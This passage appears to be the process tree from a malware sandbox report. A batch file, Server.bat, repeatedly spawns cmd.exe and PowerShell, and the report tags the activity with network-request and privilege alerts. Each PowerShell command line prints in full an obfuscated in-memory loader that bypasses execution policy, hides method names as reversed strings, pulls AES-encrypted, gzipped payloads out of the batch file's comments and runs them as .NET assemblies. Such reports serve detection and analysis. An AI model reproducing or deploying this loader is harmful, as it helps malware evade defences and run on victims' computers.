        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        46⤵
        Blocklisted process makes network request
        Suspicious use of AdjustPrivilegeToken
        
        PID:4184
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        44⤵
        
        PID:5064
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        45⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:2080
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        43⤵
        
        PID:4128
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        44⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2180
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        42⤵
        
        PID:1776
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        43⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:3936
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        41⤵
        
        PID:1660
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        42⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:1408
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        40⤵
        
        PID:4416
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        41⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3220
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        39⤵
        
        PID:2644
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        40⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:1300
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        38⤵
        
        PID:4652
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        39⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:2848
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        37⤵
        
        PID:4688
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        38⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1804
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        36⤵
        
        PID:4644
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        37⤵
        Blocklisted process makes network request
        Suspicious use of AdjustPrivilegeToken
        
        PID:3592
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        35⤵
        
        PID:4952
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        36⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:4408
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        34⤵
        
        PID:1776
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        35⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:720
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        33⤵
        
        PID:628
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
